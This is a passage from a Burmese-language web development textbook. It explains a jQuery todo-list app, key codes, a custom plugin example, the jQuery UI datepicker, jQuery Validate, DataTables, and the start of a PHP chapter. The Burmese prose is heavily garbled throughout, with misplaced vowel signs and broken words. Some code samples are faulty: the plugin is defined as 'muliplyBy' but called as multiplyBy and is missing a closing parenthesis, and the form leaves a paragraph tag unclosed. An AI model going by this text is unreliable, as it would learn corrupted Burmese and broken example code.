အလပုက်ြိတာ့  Text  Input  ထဲကြ  တနဖ်ေိုးကုိြ  task Variable  ထဲကုိြထည့်သွငး်ပပီး  ိနာက်ြတစ်ဆင့်မာှ  task
Variable ရေဲ့  တနဖ်ေိုးဟာ Blank ပဖေစ်မိနတာိသချာိအာငစ်စ်ထားပါတယ်။ 
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█ var task = $("#new-task input").val();
█
█ if(!task) return false;

ဒလီိုစစ်ထားတဲ့အတက်ွြ အကြယ်၍များ  task ရေဲ့တနဖ်ေိုး  အလတွပ်ဖေစ်ိနရေင်  ကြျနတ်ဲ့အလပု်ိ တ ွဆက်ြမလပု်ိ တာပ့ဲ
Click Event ကြိန ထက်ွြသွားမာှပဖေစ်ပါတယ်။

ဆက်ြလက်ြပပးီ  buildTask() Function  ကုိြ  လှမး်ိခါ်လိုက်ြရောမာှ  task Variable  ကုိြ   Parameter  အိနနဲ့
ထည့် သွငး်ိပးလိုက်ြပါတယ်။  buildTask() Function ကြိပးလာတဲ့တနဖ်ေိုးနဲ့အတ ူအပခားလိုအပတ်ဲ့  Element
ိတကုိွြ <li> အဖေငွ့် အပတိထ်မဲာှ၊ ိပါငး်ထည့်ိ ပးမာှပဖေစ်ပါတယ်။  buildTask() Function ကြ ပပန်ိ ပးလာတဲ့
<li> Element  ကုိြ  appendTo() Function  သံုးပပီး  #tasks ထဲကုိြထည့်ိ ပးလိုက်ြပါတယ်။ ဒါိအကြာင့်  Input
Text Box မာှ Task တစ်ခ ုရုိက်ြထည့်လိုက်ြတိုငး် #tasks  ထဲမာှ <li> Element တစ်ခ ုတိုးလာမာှပဖေစ်ပါတယ်။

ိနာက်ြတစ်ဆင့်မာှ  #tasks ထဲမာှ  ရေှိိ နတဲ့  <li> ိတအွားလုံးကုိြ  jQuery  နဲ့  Select  လပုပ်ပးီ  ရေလာတဲ့ရေလဒရ်ေဲ့
စုစုိပါင်းအိရေအတက်ွြကုိြ  JavaScript Property  ပဖေစ်တဲ့  .length နဲ့  ိကြာက်ြယလူိုက်ြပါတယ်။ ိကြာက်ြယူရေရေှိ
လာ  တဲ့တနဖ်ေိုးကုိြ  <h1> ထကဲြ  <span> Element  ရေဲ့  Content  အပဖေစ်ိဖောပ်ပခိုငး်လိုက်ြပါတယ်။  ဒနီညး်နဲ့
ိဆာငရ်ေက်ွြရေမယ့် Task ဘယ် နစ်ှခု ရေှိလဆုိဲတဲ့အချက်ြကုိြ ိခါင်းစဉရ်ေဲ့ိဘးမာှ ပမင်ိ တွ့ိနရေိစမာှပပဲဖေစ်ပါတယ်။ 

ဒါိတအွားလုံးပပးီိတာမ့ှ  Text  Input  ထကဲြလက်ြရေှိရုိက်ြထည့်ထားတဲ့  တနဖ်ေိုးကုိြ  val("") နဲ့  ရေငှး်ပပစ်လိုက်ြပါ
တယ်။ focus() Function ကြိတာ့ အ့ဲဒီ  Text Input မာှ Cursor အသင့်ိ ရောက်ြိနိစဖေို့ အသံုးပပုထားတာပါ။
ဒါမှ  အသံုးပပုသူကြ ိနာက်ြ  Task  တစ်ခကုိုြဆက်ြလက်ြထည့်သွငး်လိုရေင်  အဆငသ်င့်ထပထ်ည့်လို့ရေသွားိစမာှပဖေစ်ပါ
တယ်။ 

Text Input  မာှလညး် Keydown Event တစ်ခု သတမ်တှ်ိ ပးထားပါတယ်။ Button ကုိြ သွားပပးီ Click လပု်ိ န
စရောမလိုပဲ  Text Input  ထမဲာှ  Enter  နှိပလ်ိုက်ြယံုနဲ့  Button  ကုိြနှိပလ်ိုက်ြသကဲြသုိ့့ အလပုလ်ပုသွ်ားိစလိုတဲ့အတက်ွြ
ပဖေစ်ပါ တယ်။  Keydown အတက်ွြ သတမ်တှထ်ားတဲ့ Function မာှ e လို့ အမည်ိ ပးထားတဲ့ Event Object ပါဝင်
ပါတယ်။  Event  နဲ့  ပတသ်က်ြတဲ့ အချက်ြအလက်ြိတ ွအ့ဲဒီ  Object  ထဲမာှရေှိိ နမာှပါ။  e.which == 13 ဆုိတဲ့
အဓပိ္ပါယ်ကြ၊ အသံုးပပုသူ ရုိက်ြထည့်လိုက်ြတဲ့ Key ကြ Keycode 13 လား လ့ုိစစ်လိုက်ြတာပါ။  Keycode ကြ 13 ဆုိ
ရေင်  Enter Key ပဖေစ်ပါတယ်။ Backspace ဆုိရေင်  Keycode 8 ပဖေစ်ပပးီ  Esc ဆုိရေင်  Keycode 27 ပဖေစ်ပါတယ်။ ဒီ
နညး်နဲ့  အသံုးပပုသူကြ  Task  အသစ်ိတကုိွြ  Button  ကုိြနှိပပ်ခင်း အားပဖေင့်ထည့်နိုငသ်လို၊  Text Box  ထဲမာှ  Enter
နှိပလ်ိုက်ြပခငး်အားပဖေင့်လညး် ထည့်နိုငသွ်ားိစမာှပဖေစ်ပါတယ်။

မတ်ှချကြ ်။ ။ မတ်ှသားသင့်တ့ဲ Key Code တစခ်ျို့ကြို ိဖောပ်ပိပးလုိကြပ်ါတယ။် 

Backspace = 8, Tab = 9, Enter = 13, Shift = 16, Ctrl = 17, Alt = 18, Caps Lock = 20, Esc = 27 , Space = 32,
F1 = 112 ... F12 = 123

Keycode တနဖ်ေိုးိတွကြ Keypress, Keyup နဲ့ Keydown Event တစခ်ပုခငး်စမီာှ အနညး်ငယက်ြွဲပပားမှု ရေှိပါတယ။် အပပည့်အစုံ
ကြို  http://unixpapa.com/js/key.html မာှ ိလ့လာအကြည့်ရှုနိုငပ်ါတယ။်

http://unixpapa.com/js/key.html
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buildTask() Function ထမဲာှ ိရေးသားထားတဲ့ Code ိတကုိွြဆကြလ်က်ြိလလ့ာအကြပါမယ်။ ပထမဆံုး Block
ကြိနစအကြည့်ပါမယ။်

█ var checkbox = $("<input>", {
█   type: "checkbox"
█ }).click(function() {
█   if($(this).is(":checked")) {
█     $(this).parent().prependTo("#done");
█   } else {
█     $(this).parent().appendTo("#tasks");
█   }
█ 
█    $("h1 span").html( $("#tasks li").length );
█ });

Check Box  တစ်ခကုိုြ  jQuery  နဲ့တည်ိ ဆာက်ြပပးီ  checkbox Variable  ထကုိဲြထည့်သွငး်ထားပါတယ်။ တည်
ိဆာက်ြ လိုက်ြတဲ့ Checkbox ဟာ Element သက်ြသက်ြမဟတုပ်ဲ Click Event တစ်ခါတညး်တွဲဖေက်ြပါဝငပ်ါတယ်။
Click Event မာှ Checkbox ကုိြ Click လုပလ်ိုက်ြရေင၊် Check လပုလ်ိုက်ြတာလား၊ Uncheck လပုလ်ိုက်ြတာလား
ဆုိတာကုိြ  is() Function ကုိြသံုးပပးီစစ်ိဆးထားပါတယ်။ Check လုပလ်ိုက်ြတာ ဆုိရေင် Check Box ရေဲ့  Parent
Element ကုိြ #done ထဲကုိြ ိရေွှိပပာငး်ိပးလိုက်ြပါတယ။်  Uncheck လပုလ်ိုက်ြတာ ဆုိရေင်ိ တာ့  #tasks ထဲကုိြ
ပပန်ိ ရေွှိပးလိုက်ြတာပါ။ 

█ var task = $("<span>").html(msg);

ဆက်ြလက်ြပပးီ <span> Element တစ်ခတုည်ိ ဆာက်ြပါတယ်။ Function ကုိြိခါ်စဉက်ြိပးတဲ့  msg Variable ကုိြ
Element Content အိနနဲ့ထည့်ိ ပးထားပါတယ။် Task ိတကုိွြ ပပနဖ်ေျက်ြလိုရေငဖ်ေျက်ြနိုင်ိ အာင် Delete Link ိလး
တစ်ခ ုဆက်ြလက်ြတည်ိ ဆာက်ြပါတယ။်

█ var del = $("<a>", {
█   href: "#"
█ }).html("&times;").click(function() {
█   $(this).parent().remove();
█   $("h1 span").html( $("#tasks li").length );
█ });

jQuery နဲ့ပဲ <a> Element တစ်ခတုည်ိ ဆာက်ြပါတယ်။ Element Content အိနနဲ့ &times; Symbol ကုိြ ိပး
ထားပါတယ်။ &times; Symbol ဟာအိပမာှက်ြသိကြအင်္ဂတ ( × ) ပဖေစ်ပါတယ်။ Cross ိလးဆုိိတာ့ Delete Sign
နဲ့တသွူားမာှပါ။  Click Event တစ်ခလုညး်တွဲဖေက်ြိပးထားပပးီ Click နှိပလ်ိုက်ြတဲ့အခါ သူရ့ေဲ့  Parent Element ကုိြ
ပယ် ဖေျက်ြလိုက်ြဖေို့ သတမ်တှထ်ားပါတယ်။

█ return $("<li>").append(checkbox).append(task).append(del);

ိနာက်ြဆံုးမာှိတာ့ တည်ိ ဆာက်ြထားခဲ့တဲ့ Element ိတကုိွြ <li> Element တစ်ခရုေဲ့  Content အပဖေစ် အတွဲလိုက်ြ
ထည့်သွငး်ိပးလိုက်ြမာှပပဲဖေစ်ပါတယ်။ ဒါိအကြာင့် ဒီ  Function  ကုိြိခါ်ယူတိုင်း လိုအပတ်ဲ့  Element  နဲ့  Event  ိတွ
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တွဲဖေက်ြ ပါဝငပ်ပးီပဖေစ်တဲ့ <li> Element တစ်ခကုိုြ ပပနရ်ေမာှပဖေစ်ပါတယ။်

ဒီ  Todo List App ိလးဟာ ိသးငယ်တဲ့  App ိလးဆုိိပမယ့် jQuery ရေဲ့  လုပ်ိ ဆာငခ်ျက်ြ အိတာ် များများကုိြ
လက်ြိတွ့အသံုးပပုပဖေစ်ိစမယ့်  App  တစ်ခပုဖေစ်ပါတယ်။  လက်ြရေှိမာှ  Browser  ထဲမာှပဲ  အလပုလ်ပုသွ်ားတာပဖေစ်လို့
ထည့်သွငး်လိုက်ြတဲ့ အချက်ြအလက်ြိတကုိွြ အပမသိဲမး်ဆညး်ထားိပးမာှမဟတုပ်ါဘူး။  Browser  ကုိြ  Refresh  လုပ်
လိုက်ြရေင် အကုြနပ်ပန်ိ ပျာက်ြသွားမာှပါ။ အချက်ြအလက်ြိတကုိွြ သိမး်ဆညး်ထားလိုရေင် Cookie သုိမ့ဟတု် HTML5
localStorage  နညး်ပညာိတ ွ သံုးနိုငပ်ါတယ်။  ဒါိပမယ့်  ဒအီခနး်မာှ  ဒီိ လာက်ြနဲ့  ရေပထ်ားလိုက်ြပါမယ်။   User
Interface  ပိုငး်  ပပည့်စံုိနပါပပ။ီ  ကြျနရ်ေှိိ နတဲ့  အချက်ြအလက်ြသိမ်းဆညး်ပခင်းလပုင်နး်ကုိြ  အခန်း  (၉)  Ajax with
jQuery ိရောက်ြ မ ှဆက်ြလက်ြပဖေည့် စွက်ြပါိတာမ့ယ်။

5.13 - jQuery Plugins
jQuery ရေဲ့လပု်ိ ဆာငခ်ျက်ြိတကုိွြ ပဖေည့်စွက်ြိပးနိုငတ်ဲ့ Plugins ိတရွေှိပါိသးတယ်။ Plugins ိတကွြ မလူ jQuery
မာှ မပါဝငတ်ဲ့လပု်ိ ဆာငခ်ျက်ြိတကုိွြပဖေည့်ဆည်းိပးပါတယ်။ ဒါ တစ်ပခား  Framework  ိတနွဲ့ မတတူဲ့အချက်ြပါပ။ဲ
jQuery ကုိြယ်တိုငက်ြ အိပခခလံပု်ိ ဆာငခ်ျက်ြိတကုိွြပဲ လပု်ိ ပးိပမယ့် တိုးချဲ့ ပဖေည့်စွက်ြရေလယ်ွကူြတဲ့အတက်ွြ အပခား
Developer  များကြပဖေည့်စွက်ြ  လုပ်ိ ဆာငခ်ျက်ြိတကုိွြ  Plugin  အပဖေစ်တည်ိ ဆာက်ြနိုငသွ်ားပါတယ်။  တစ်ချို ့လညး်
jQuery  မာှ  ထပ်ိ ပါငး်လိုက်ြရေင်ိ ကြာငး်မယ်ထငတ်ဲ့  စိတကူ်ြးိတကုိွြ  Plugins  အပဖေစ်တည်ိ ဆာက်ြထားအကြတယ်။
တစ်ချို ့လညး် လက်ြိတွ့   Project ိတမွာှလိုအပလ်ို့ Plugins ိတတွည်ိ ဆာက်ြအကြပါတယ်။ အဲဒီ Developer ိတွ
ကြ သူတို့ တည်ိ ဆာက်ြထားတဲ့  Plugin  ိတကုိွြ အများသံုးနိုင်  ိအာငပ်ပနလ်ည်ိ ဝမျှအကြတဲ့အတက်ွြ ကြိနအ့ချနိမ်ာှ
ိထာင်ိ ပါငး်များစွာိသာ  jQuery  Plugins  ိတကုိွြ  လိုအပသ်လိုရေယူအသံုး  ပပုနိုငမ်ာှပဖေစ်ပါတယ်။  ဘယ်လိုလပု်
ိဆာငခ်ျက်ြမျို းလိုချငလ်၊ဲ အကြနုရ်ေှိတယ်လို့ ဆုိရေမိလာက်ြကုိြ စံုလငလ်ပှါတယ်။

jQuery ကုိြ တိုးချဲ့ ပပငဆ်ငရ်ေတာလယ်ွပါတယ်။  ဥပမာ - Function တစ်ခကုိုြ အခလုို ပဖေည့်စွက်ြလိုက်ြနိငုပ်ါတယ်။ 

$.fn.muliplyBy = function(n) {
  this.each(function() {
    var content = $(this).html();
    for(i=1; i<n; i++) {
      $(this).append(content);
    }
  }
};

jQuery မာှ မလူကြမရေှိတဲ့ multiplyBy() Function ကုိြ ကြျွန်ိ တာတ်ို ့ပဖေည့်စွက်ြလိုက်ြတာပါ။ အ့ဲဒီ Function ကြ
Select လပုထ်ားတဲ့ Element အတငွး်ကြ Content ကုိြဆတိုးပာွးိပးမာှပဖေစ်ပါတယ်။ $("ul").multiplyBy(5)
လို့ ိရေးသားလိုက်ြရေင်  <ul> Element ရေဲ့  Content ကုိြ (၅)ဆပာွးိပးသွားမာှ ပဖေစ်ပါတယ်။ jQuery ရေဲ့  Selector နဲ့
တွဲဖေက်ြအသံုးပပုနိုငတ်ာကုိြသတပိပုအကြည့်ပါ။ 
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လိုအပတ်ဲ့လပု်ိ ဆာငခ်ျက်ြိပါ်မတူညပ်ပးီ  plugins.jquery.com,  u  nheap.com  ,  jquerylist.com စတဲ့  Website
ိတမွာှ လညး် Plugin ိတကုိွြ ရေယူနိုငပ်ါတယ်။ p  lugins.jquery.com   ကြိတာ ့Official Directory ပဖေစ်ပါတယ်။

ပုံ (၅-ဆ) plugins.jquery.com

Plugin  တစ်ချို ့  အသုံးပပုပုံကုိြ  နမနူာအိနနဲ့ိ ဖောပ်ပိပးပါမယ်။  Plugin  တစ်ခကုိုြ  ထည့်သွငး်အသံုးပပုဖေို့အတက်ွြ
အိပခခအံားပဖေင့်  Document ထမဲာှ jQuery File နဲ့သကြဆုိ်ငရ်ော  Plugin File တို့ကုိြ <script> Element ိတွ
နဲ့ချတိဆ်က်ြလိုက်ြရေင် စတငအ်သံုးပပုနိုငပ်ါပပ။ီ တစ်ချို ့  Plugin ိတမွာှ အသင့်ိ ရေးသားထားတဲ့ CSS File ိတပွါဝင်
တက်ြလို့ CSS File ကုိြလညး် <link> Element နဲ့ ချတိဆ်က်ြိပးရေမာှ ပဖေစ်ပါတယ်။ လက်ြိတွ့  အသံုးချပုံ ကွြာပခား
သွားမာှပဖေစ်ိပမယ့် ချတိဆ်က်ြထည့်သွငး်ပုံကြိတာ ့အားလုံးအတတူပူါပ။ဲ

မတ်ှချကြ် ။ ။ Plugin ိတွရေဲ့  လကြ်ိ တွ့အသုံးချပုံကြို ပုံိ သိဖောပ်ပလုိမ့ရေပါဘးူ။ Plugin ဖေနတီ်းသူိ တွဟာ ိနရောစုံကြ Developer
ိတွပဖေစအ်ကြလုိ့ တစ်ိ ယာကြန်ဲ့တစ်ိ ယာကြ် ိရေးသားပုံနညး်လမး်ိတွ မတူညပီါဘးူ။ ကြိုယအ်သုံးချဖေို့ ိရေးွချယထ်ားတ့ဲ  Plugin  နဲ့
အတူ ပါဝငလ်ာတ့ဲ Documentation ိတွ Manual ိတွကြိနိလ့လာပပးီ အသုံးပပုအကြရေမာှပါ။ ဒီိ နရောမာှိတာ့ နမနူာ အိနနဲ့ပဲ
ိဖောပ်ပ ိပးသာွးမာှပါ။

ပထမဆံုးအကြည့်သင့်တာကြိတာ့   jQuery  UI  ပဖေစ်ပါတယ်။  jQuery  UI  ဟာ  jQuery  Core  Team  ကြ
အသိအမတှပ်ပုပပးီ တွဲဖေက်ြိဆာငရ်ေက်ွြိနတဲ့  Project  တစ်ခပုဖေစ်ပါတယ်။  User Interface  များစုစညး်ထားပခငး်ပဖေစ်
ပပးီ  Accordion,  Autocomplete,  Button,  Datepicker,  Dialog,  Menu, Progressbar,  Slider,  Spinner,
Tabs, Tooltip စတဲ့ Widget ိတပွါဝငပ်ါတယ်။ Drag-n-drop, Resizable  နဲ့ အပခားလပု်ိ ဆာငခ်ျက်ြ ိတလွညး်
ပါဝငပ်ါတယ်။ Animation Effect ိတလွညး် ပါဝငပ်ါိသးတယ်။

http://plugins.jquery.com/
http://plugins.jquery.com/
http://jquerylist.com/
http://unheap.com/
http://unheap.com/
http://plugins.jquery.com/
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jQuery  UI  ကုိြ  jqueryui.com မာှ  Download  လပုပ်ပးီ  ရေယူနိုငပ်ါတယ်။  နမနူာတစ်ခစုမး်သပန်ိုငဖ်ေို့အတက်ွြ
jQuery UI ကုိြ Download လပုပ်ပးီ ရေရေှိလာတဲ့ Archive ဖေိုငကုိ်ြ Extract လပုထ်ားပါ။ ပပးီရေင် HTML Document
တစ်ခတုည ်ိဆာက်ြပပးီ <body> အတငွး်မာှ ိအာက်ြပါအတိုငး် ိရေးသားပါ။

<input type="text" id="date">

ပပးီရေင် သူ့ိ အာက်ြမာှ  <script> Element သံုးခု ထည့်သွငး် ိပးပါ။

<script src="jquery.js"></script>
<script src="jquery-ui.js"></script>
<script>
  $(document).ready(function() {
    $("#date").datepicker();
  });
</script>

jQuery  UI  ကြ  jQuery  Plugin  ပဖေစ်လို့  jquery.js မပါရေင်  အလပုလ်ပုမ်ာှမဟတုပ်ါဘးူ။  ဒါိအကြာင့်
jquery.js ိရော  Downlod  ရေယူထားတဲ့  jquery-ui.js ပါ  နစ်ှခလုုံးကိြု  မနှက်ြန်ိ အာင်  ထည့်သွငး်ိပးဖေို့
လိုအပမ်ာှ  ပဖေစ်ပါတယ်။ ပပးီရေင်ိ တာ့  Document Ready  ထဲမာှ  #date ကုိြ  Select  လပုပ်ပးီ  datepicker()
Function  နဲ့  သံုးိပးလိုက်ြပါတယ်။  datepicker() Function  ဟာ  jQuery  UI  ကြ  ပဖေည့်စွက်ြိပးထားတဲ့
Function တစ်ခပုဖေစ်ပါတယ်။ ခုိ န #date Element ကုိြ Click လုပလ်ိုက်ြရေင် ပုံ (၅-ဇ) မာှ ပပထားသလို ိရေးွလို့ရေ
တဲ့ ပပကြ္ခဒနိ်ိ လးတစ်ခုိ ပါ်လာမာှ ပဖေစ်ပါတယ်။ ပပကြ္ခဒနိက်ြိန ရေက်ြစဲွတစ်ခကုိုြထပန်ှိပလ်ိုက်ြရေင် နှိပလ်ိုက်ြတဲ့ရေက်ြစဲွကုိြ
#date Element ရေဲ့  Value အပဖေစ် ိဖောပ်ပိပးမာှပပဲဖေစ် ပါတယ်။ ဒနီညး်နဲ့ Date ိရေးွလိုရ့ေတဲ့ Datepicker တစ်ခကုိုြ
အလယ်ွတစ်ကူြရေရေှိနိုငပ်ါတယ်။ 

ပုံ (၅-ဇ) jQuery UI Datepicker Example

http://jqueryui.com/
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CSS Style  ိတမွပါိသးလို့  အကြည့်ရေတာမသပမ်ရေပပ်ဖေစ်ိနပါတယ။် အဲဒ့အီတက်ွြ  CSS  ကုိြလညး်ကုိြယ်တိုင်ိ ရေးိန
စရော  မလိုပါဘးူ။  Download  လပုစ်ဉက်ြ  တစ်ခါတညး်ပါဝငလ်ာတဲ့  CSS  ဖေိုငကုိ်ြအသံုးပပုနိုငပ်ါတယ်။  <head>
အတငွး်မာှ အခလုိုထပပ်ဖေည့်လိုက်ြပါ။

<link rel="stylesheet" href="jquery-ui.css">

ဒလီိုချတိဆ်က်ြလိုက်ြရေင်ိ တာရ့ေလဒက်ြ ပုံ (၅-စျ) မာှ ပပထားသလိုိ ပပာငး်သွားမာှပါ။ CSS Style ိလးိတပွါသာွးမာှ
ပဖေစ်လို့ အများကကီြးသပရ်ေပသွ်ားပါပပ။ီ 

ပုံ (၅-စျ) jQuery UI Datepicker Example with Style

ဆက်ြလက်ြိဖောပ်ပချငတ်ာကြ jQuery Validate Plugin ပဖေစ်ပါတယ်။  Form Input  ိတမွာှ အသံုးပပုသူကြ  မနှ်
မနှ်  ကြနက်ြနပ်ဖေည့်ရေဲ့လား၊  ပဖေည့်သွငး်တဲ့  Format  ိတမွနှရ်ေဲ့လား  စသပဖေင့်စိစစ်ိ ပးနိုငတ်ဲ့  Pligin  ပဖေစ်ပါတယ်။  သူ
လညး်ပဲ အိတာ်ိ လးအသံုးဝငတ်ဲ့ Plugin တစ်ခပုါ။ ကုိြယ်တိုင် Download ရေယူလိုရေင် jqueryvalidation.org မာှ
ရေယူနိုငပ်ါတယ်။ စမး်သပ်အကြည့်နိုငဖ်ေို့  HTML Document တစ်ခတုည်ိ ဆာက်ြပပးီ <body> အဖေငွ့်အပတိထ်ဲ မာှ ဒီ
HTML Form ကုိြ ကူြးယူထည့်သွင်ိ ပးပါ။

http://jqueryvalidation.org/
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<form id="comment" action=""> 
  <p> 
    <label for="cname">Name (required, at least 2 characters)</label> 
    <input id="cname" type="text" name="name"> 
  <p> 
    <label for="cemail">E-Mail (required)</label> 
    <input id="cemail" type="text" name="email" /> 
  </p> 
  <p> 
    <label for="curl">URL (optional)</label> 
    <input id="curl" type="text" name="url" /> 
  </p> 
  <p> 
    <label for="ccomment">Your comment (required)</label> 
    <textarea id="ccomment" name="comment"></textarea> 
  </p> 
  <p> 
    <input class="submit" type="submit" value="Submit"/> 
  </p> 
</form>

Download ရေယူထားတဲ့ Archive ဖေိုငကုိ်ြ Extract လပုပ်ပးီ jquery.validate.js ဆုိတဲ့ဖေိုငက်ြို အသံုးပပုရေမာှ
ပဖေစ်ပါတယ်။ ကူြးယူပပီး <script> Element နဲ့ချတိဆ်က်ြ ထည့်သွငး်ိပးရေပါမယ။် ပပးီရေင် #comment Form ကုိြ
Select လုပပ်ပးီ validate() Function နဲ့ Validation Rule ိတကုိွြ သတမ်တှန်ိုငပ်ါတယ်။ 

<script src="jquery.js"></script> 
<script src="jquery.validate.js"></script>
<script> 
  $(document).ready(function(){ 

    $("#comment").validate({ 
      rules: { 
        name: { 
          "required": true, 
          "minlength": 2 
        }, 
        email: { 
          "required": true, 
          "email": true 
        }, 
        comment: { 
          "required": true 
        } 
      } 
    });

  }); 
</script>

Validation Rules ိတကုိွြ  JSON အိနနဲ့ ိပးရေပါတယ်။ Input Box ိတရွေဲ့  name Attribute နဲ့ တုိက်ြဆိငုပ်ပးီ
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Rules ိတကုိွြ သတမ်တှရ်ေပခငး် ပဖေစ်ပါတယ်။ Submit Button ကုိြနှိပလ်ိုက်ြတာနဲ့ သတမ်တှခ်ျက်ြ  rules ိတနွဲ့ မ
ကုိြက်ြညရီေင်  validate() Function ကြ သက်ြဆုိငရ်ော Element နဲ့တွဲဖေက်ြပပီး  Error Message ိတ ွိဖောပ်ပိပး
မာှပဖေစ်ပါတယ်။ သတမ်တှလ်ိုတဲ့ Rules ိတအွပပင် ိဖောပ်ပိစလိုတဲ့ Message ိတကုိွြလသဲတမ်တှန်ိုငပ်ါတယ်။ ဒါိပ
မယ့် နမနူာမာှိတာ့  Rules  ိတပွဲ သတမ်တှထ်ားတဲ့အတက်ွြ  Validate Plugin  ကြ  Default Message  ိတကုိွြပဲ
ိဖောပ်ပမာှပဖေစ်ပါတယ။်

ပုံ (၅-ည) jQuery Validate Plugin Example

စမး်အကြည့်မယ်ဆုိရေင်  ပုံ  (၅-ည) မာှိဖောပ်ပထားသလို Rule နဲ့မကုိြက်ြညတီဲ့  Element  ိတအွတက်ွြ Error Message
ိတ ွကုိြသက်ြဆိငုရ်ော  Element  နဲ့အတူ တွဲဖေက်ြိဖောပ်ပိနမာှပါ။  Error Message  ိတကုိွြ  Error  လို့ပမငသ်ာိအာင်
ိဖောပ်ပဖေို့  CSS  နညး်နညး် ထည့်ိ ပးဖေို့ လုိပါမယ်။  Plugin  နဲ့ပါလာတဲ့  CSS ကုိြသံုးမိနိတာပ့ါဘးူ။ နညး်နညး်ပမဲို့
ကုိြယ်တိုင်ိ ရေး သားထည့်သွငး်လိုက်ြပါမယ်။

label { 
  display: block; 
  color: #555; 
}

label.error { 
  color: #900; 
  font-style: italic; 
}

ိနာက်ြထပ်ိ လလ့ာသင့်တဲ့ Plugin ကြိတာ့ jQuery DataTable Plugin ပဖေစ်ပါတယ်။ DataTable Plugin ကြ
ရုိးရုိး  HTML Table  တစ်ခကုိုြ  Data Grid  တစ်ခမုာှပါဝင်ိ လရ့ေှိတဲ့  Sort, Filter, Per Page Selector, Paging
ိတ ွထည့် သွငး်ိပးတဲ့ Plugin ပဖေစ်ပါတယ်။ Download ရေယူလိုရေင်ိ တာ ့datatables.net မာှ ရေယူနိုငပ်ါတယ်။ 

http://datatables.net/
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ပုံ (၅-ဋ) jQuery DataTable Plugin

အိပခခလံပု်ိ ဆာငခ်ျက်ြိတအွတက်ွြ အသုံးပပုပုံကြိတာ၊့ Grid အပဖေစ်ိပပာငး်လိုတဲ့ HTML Table ကုိြ Select လုပ်
ပပးီ dataTable() Function သတမ်တှ်ိ ပးလိုက်ြယံုပပဲဖေစ်ပါတယ်။ လုိအပတ်ဲ့လပု်ိ ဆာငခ်ျက်ြိတကုိွြ DataTable
Plugin ကြ တွဲဖေက်ြ ထည့်သွငး်ိပးသွားပါလမိ့်မယ်။

$("table").dataTable();

Table  ထမဲာှ  Record  များများရေှိမှ  နမနူာအိနနဲ့  စမး်လို့အဆင်ိ ပပမာှမို့  ဒီိ နရောမာှ  ိရေးမိပးိတာပ့ါဘးူ။
Download ရေယူထားတဲ့အထမဲာှ ပါဝငလ်ာတဲ့ နမနူာကုိြအကြည့်ပပီး ိလ့လာနိုငပ်ါတယ်။

Conclusion
ိဖောပ်ပခဲ့တဲ့  Plugin  ိတကွြိတာ့ အသံုးများတဲ့  Plugin  ိတပွဖေစ်ပပးီ  Image Gallery, Slideshow, Scrollable,
Video/ Audio Player, Carousel, Chart & Graph, Navigation Menu, Page Scroller, Rich Text Editor
စသပဖေင့် အပခား Plugin ိတလွညး် အမျို းမျို းရေှိိ နတဲ့အတက်ွြ အသံုးချတက်ြမယ်ဆိရုေင် User Interface နဲ့ပတသ်က်ြ
တဲ့အပိုင်းမာှ အားလုံးကြိုကုိြယ်တိုင် ဖေနတ်းီိနဖေို့မလိုိ တာပ့ ဲအသင့်အသံုးချနိုငမ်ာှပဖေစ်ပါတယ်။
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အခနး် (၆) PHP Basic
Request/Response များ စီမံပခင်း၊ Cookie/Session များ စီမံပခင်း

HTML Document ိတထွမဲာှ JavaScript အပပင်  PHP, ASP.NET, JSP, Ruby, Python, Perl စတဲ့ အပခား
Script ိတကုိွြလညး် ထည့်သွင်းိရေးသားနိုငပ်ါိသးတယ။် ဒါိပမယ့် JavaScript ကြ Web Browser ထဲိရောက်ြမှ
အလပုလ်ပု် ပခငး်ပဖေစ်ပပးီ ကြျန်  Script ိတကွြိတာ့ Web Server ိပါ်မာှ အလပုလ်ပုတ်ဲ့  Server-side Script ိတွ
ပဖေစ်အကြပါတယ။်

ပုံ (၆-ကြ) Server-side Script အလပုလ်ပုပ်ုံ

ပုံ  (၆-ကြ) မာှိလလ့ာအကြည့်ပါ။  နမနူာအိနနဲ့  Document  တစ်ခအုတငွး်မာှ  HTML  နဲ့အတူ  PHP  Script  နဲ့
JavaScript ိတ ွထည့်သွငး်ိရေးသားထားပါ။ Original Script ထမဲာှပါဝငတ်ဲ့ -
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<? print date("d.m.Y") ?>

- ဟာ လက်ြရေှိရေက်ြစဲွကိြု ိဖောပ်ပိစတဲ့ PHP Script ပဖေစ်ပါတယ်။ Document ကုိြ Request လုပတ်ဲ့အခါ၊ Server ကြ
ပုံမနှဆိ်ရုေင် ဒအီတိုင်းပပန်ိ ပးလိုက်ြမာှပါ။ ဒါိပမယ့်  Document  ထမဲာှ  PHP Script  ိတပွါဝင်ိ နတဲ့အတက်ွြ ချက်ြ
ပခငး်  Respond  မလပု်ိ သးပ၊ဲ  PHP  Script  ကြညနွအ်ကြားထားတဲ့  လပု်ိ ဆာငခ်ျက်ြိတကုိွြ  အရေင်ဆံုးအလပုလ်ပု်
လိုက်ြပါတယ်။  ဒီိ နရောမာှ  လက်ြရေှိရေက်ြစဲွကုိြ  ိဖောပ်ပိပးပါလို့  ညနွအ်ကြားထားတဲ့အတက်ွြ  ိဖောပ်ပိပးလိုက်ြမာှပါ။
HTML/CSS/JavaScript  ိတကုိွြိတာမ့ထပိါဘးူ။  PHP Script  ိတကုိွြပဲ  ိရေးွချယ်အလပု်  လပုပ်ပးီ  ိနာက်ြဆံုးရေ
လာတဲ့ ရေလဒကုိ်ြပပန်ိ ပး မာှပဖေစ် ပါတယ်။  Result Output  ကုိြ ိလလ့ာအကြည့်ရေင်  PHP Script  ိတမွပါဝင်ိ တာပ့ဲ
ရေက်ြစဲွတစ်ခကုြ  အစားထိုး  ပါဝငလ်ာတာ  ကုိြိတွ့နိုငပ်ါတယ်။  အသံုးပပုသူ  ပပနလ်ညရ်ေရေှိမာှကြ  မလူ  Original
Document မဟတုပ် ဲResult Output ကုိြ ပပနလ်ည ်လက်ြခရံေရေှိမာှပပဲဖေစ်ပါတယ်။ 

မတ်ှချကြ် ။ ။ ပပနလ်ညရ်ေရေှိမယ့်ရေလဒက်ြ အိပခအိနိပါ်မတူညပ်ပးီ ိပပာငး်လဲိနမာှပဖေစလုိ့်  Server-side Script ိတွ ထည့်သငွး်
ိရေး သားထားတ့ဲ Document ိတွကြို Dynamic Web Document လုိ ့ိခါ်အကြပါတယ။်

Script  ကုိြ  Server  ိပါ်မာှပဲ အလပုလ်ပုသွ်ားတဲ့အတက်ွြ Server-side Script  လ့ုိ ိခါ်တာပါ။ လက်ြိတွ့မာှ  Web
Browser  ိတကွြ PHP တို့  ASP.NET တို့လို  Server-side Script  ိတကုိွြ နားလညပ်ပးီ အလပုလ်ပု်ိ ပးနိုငပ်ခငး်
